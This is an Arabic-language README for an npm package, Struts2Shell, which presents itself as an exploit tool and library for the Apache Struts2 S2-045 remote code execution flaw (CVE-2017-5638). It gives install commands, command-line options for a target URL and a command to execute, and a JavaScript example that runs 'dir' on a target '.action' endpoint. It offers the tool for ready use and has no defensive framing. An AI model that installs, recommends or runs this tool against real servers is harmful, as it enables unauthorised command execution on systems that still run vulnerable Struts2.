Struts2Shell

أداة استغلال (ومكتبة) لثغرة CVE-2017-5638 - مشكلة Apache Struts2 S2-045.

التثبيت

$ npm install -g struts2shell

التثبيت كمكتبة

$ npm install struts2shell

خيارات سطر الأوامر

-h, --help           عرض معلومات الاستخدام
-V, --version        عرض رقم الإصدار
-u, --url [target]   عنوان URL للهجوم
-c, --cmd [command]  الأمر المراد تنفيذه

الاستخدام كمكتبة

var Struts2Shell = require('struts2shell');
Struts2Shell({
	URL: 'http://example.com/some.action',
	CMD: 'dir'
}, function(err, response,body) {
    if(err) throw err;
    console.log(body)
})

لقطة شاشة

الترخيص

MIT

برنامج مجاني، نعم بكل فخر!